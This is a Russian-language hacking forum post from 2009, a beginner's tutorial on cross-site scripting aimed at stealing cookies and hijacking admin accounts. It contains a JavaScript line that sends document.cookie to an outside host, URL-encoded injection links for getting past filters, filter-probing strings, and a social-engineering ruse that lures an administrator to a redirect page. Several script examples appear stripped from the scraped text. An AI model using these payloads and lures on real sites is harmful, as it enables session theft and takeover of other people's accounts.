DOS & Black
Четверг, 21.11.2024, 18:57
Приветствую Вас DOS
Главная | Регистрация | Вход | RSS

XSS для новичков - Форум

[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
XSS для новичков
DOSДата: Понедельник, 06.07.2009, 16:46 | Сообщение # 1
Генералиссимус
Группа: Администратор
Сообщений: 709
Репутация: 102
Статус: Offline
Привет!!!
В этой теме я хочу детально описать Xss от A до Я.
На античате много есть инфы по Xss, но ни в 1-ой из них я не нашёл хорошего обяснения для новичков, извините если я ошибаюсь...
Статью не полностю написал я, кое-что нашел в инете, и на нашем форуме, за что очень благодарен =)
Так что начнём...
========================================

### Xss это Css => Cross Site Scripting
Чтобы не путать с CSS также назвыают XSS
Впервые этот БАГ появился в 1997.

========================================

### Как используют XSS.

Для начала нам нужно знать что такое Cookie.
Если вы знаете, можете пропустить.

Cookie служат для сохранения учетных данных сайта на компьютере поситителя.
Если вы зарегестрировались на сайте под ником 'blabluble', то сайт сохранил у вас на компьютере файл с cookies, где закодированы ваши данные.
А если вы есть админ и у вас есть доступ к сайту, а я - юзер, который украл у вас(админа) cookies, то я могу спокойно зайти на сайт, и сайт меня определяет как 'admin' - у меня будут администраторские права.

Для смены(подстановки украденных) кук советую использувать прогу CookieEdit для IE или встроенные функции в Опере и Фаерфоксе.

========================================
Мы разобрались что такое куки идём дальше...
Чтобы перехватить cookies надо найти место на сайте, где можно выполнить XSS-атаку.

### Что такое XSS-атака?

XSS атаки - это атаки не на сам сайт, а на пользователей сайта.
XSS - это недоработка в фильтре, приложении.

Бывают пассивные XSS и активные XSS.

Что такое пассивные XSS?

Пассивные - это Xss, которые требуют от жертвы непосредственного участия + есть специфические ограничения и сложности.
Поэтому, пассивные XSS не очень ценятся.
Например, нужно заставить её пройти по ядовитой ссылке, что потребует социальной инженерии, хитрости.

Активные - это XSS, которые, не требуют никаких дополнительных действий со стороны жертвы - ей достаточно лишь открыть страницу с вашим XSS и ява-код выполнится автоматически.
Благодаря своей автоматизированности - они очень полезны и ценны.
Например, активные хсс существуют в BB-тегах из-за недостаточной фильтрации, когда вы оставляете сообщение на форуме\гостевухе\чате, которое будет всегда активен при каждом обновлении.

========================================

### Итак, перейду конкретно к тому, как найти в данном сайте XSS.

Как я раньше уже писал что XSS состоит из тегов, они же состоят из html, и javascript языка =).

Javascript можно вписывать в html.
Можно кодировать, чтобы обойти фильтры. Но об этом позже.

Как узнать, что XSS на даном сайте проходит?
Ужасна распрастраннёная узявимость типа
Пытаемся вставить во все различные поля этот скрипт... если вышло сообщение значит скрипт обработался и выполнился.

Самая распостраненая XSS (наблюдаеться во всех местах где плохая фильтрация):
">
Вся суть в "> .
Давайте подумаем, что мы делаем, когда вводим в поле "> , что происходит?
Мы вводим в форму "> какой-то переменной присваиваеться значение поля. Переменная обрабатывается, "> выполняеться, закрывает
скрипт и выпролняет

Эта XSS самая распостраненая в поисковиках:
Просматриваем все поля сайта и пытаемся вставить ">
Если вышло сообщение - вы нашли XSS...

========================================

### А как определить есть фильтр или нет?

Просто в любое поле вводим: '';!--"=&{()}
Дальше открываем html страничку и ищем слово "fuck"
и смотри последующие сиволы..

Если <> так и остались то это перваый признак уязвимости - значит фильтр имеет дырку.
Если ,"'\ символы остались такими, как были введены - это второй признак уязвимости - возможные дополнительные символы к последующей XSS атаке.
Затем, если открыв HTML, вы не обнаружили <> то скорее всего дырка в фильтре.
Если открыв HTML вы обнаружили, что <> заменены на другие символы, то это облом - фильтр по крайней
мере функционирует нормально.
Возможно еще ввести в поле для проверки фильтрации вот так: "><>'"`,/\?@%

Рассмотрим случай если фильтр съедает <>

В этом случае существует вероятность дырки.
К примеру, у фильтра условие съедать ript>
это, если фильтр не оч. сильный и плохо фильтрует.

Еще можно попробовать во так:
>>>><
javascript:alert('HakNet')
javascript:alert('HakNet')/1.jpg и так далие..
Но они никакой пользы не принесли, это просто коды для проверки(тестировки) на Xss.

Вот скрипт:

Он уже ворует куки =)

========================================

###Как его подставить к ссылке с Xss?

Да очень легко...
Есть несколко вариантов:

- 1)делаем вот так:
http://*****.ru/free?p= '>
где **** сайт с Xss.

Вот сам составленый скрипт:
'>

- 2)Можно ещё делать вот так:
http://*****.ru/free?p= '>
где обращаетса к http://haknet.h16.ru/script/js.js

а в js.js есть:
img=new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;
этот способ более надёжен.

Но как я уже писал - иногда бывают затруднения с фильтрами на сайте (не прокатывает наш скрипт).
Тогда нужно подумать, как его обойти.
Можно просто нечто добавить, нечто поменять, или удалить в скрипте.
Но есть более надёжным вариант, когда мы просто закодируем скрипт. Для этого есть много прог.
Есть такой сайт как http://ha.ckers.org/xss.html (кодировщик-дэкодировщик).

Вот пример:
%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E

это был закодированный:

http://*****.ru/free?p= '>

- 3) Особенно шифрование необходимо не только для обмана фильтров, но и для обмана АДМИНА при использовании ПАССИВНОЙ ХСС.

Вот такой пример на основе социальной инженерии.
Ищем контакт с админом форума бросаем в форуме ему линк на свой сайт, и говориш типа так "клевая фича есть на сайте" и так дале в том же духе.
А на нашем сайте будет как вы уже догадались =) вот ето скрипт:

Что делает document.location.href вы спросите меня? )).. это ява-код, который без запроса переходит на указаной сайт Так чо ж у нас получается, дали мы линк админу, и он зашел на наш сайт, вот что делается.. его быстро бросает на

%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E
а это уже и есть наш Xss в зашифрованом виде.

Примечание: это подействует только тогда, когда Xss будет принадлежать админу сайта которому вы бросили линк...
Иными словами ТРУДНОСТЬ ПАССИВНОЙ ХСС состоит в том, что уязвимость может быть использована ТОЛЬКО, если жертва АВТОРИЗОВАНА на уязвимом сайте!!!

========================================

### Вот несколько сылок на античате, где есть много полезной инфы.

---------------------
Теория:

Справочник по XSS

UTF-7 в атаках XSS

Cookies

Cross-site Scripting Краткий обзор

Как использовать cross-site scripting (css)

Анатомия межсайтового скриптинга

Фальсификация cookie

Xss — основные ходы

Xss без Xss

Xss Расширенный межсайтовый скриптинг

Проводим XSS без javascript

XSS крупным планом

Как можно произвести xss, если фильтруются кавычки?

Как зашифровать ссылку?

Новый обход фильтров форумов и и-мейлов используя атрибут style

---------------------
Практика:

Активный XSS в LiveJournal.com

XSS, SQL-inj, PHP-inj и др. на примере phpBB

Энциклопедия уязвимых скриптов

Баги на сайтах

Ipb 2.1.5 Xss

Уязвимости в vBulletin v3.5.x ( test: v3.5.4 )

Долго жданная статья как ломать античатовскй форум

---------------------
Сниферы для ХСС:

Скрипты сниффера (вебсниффера) и сайты со снифферами.

Обсуждение темы Скрипты вебсниффера

Скрипт CGI-сниффера

ProTeam Sniffer by Developer aka RUSH

========================================

Сорри, если что-то не так, пишите, учту, на ошибках учатся...
И ищё хочу добавить, что вы можете прочитать много полезной инфы на античате, и в goole.com.ua =)

Порошу не обсуждать очень строго. =), если что-то не так скажите, ТЕМА расчитана на новичков...

Все......


:)
 
  • Страница 1 из 1
  • 1
Поиск: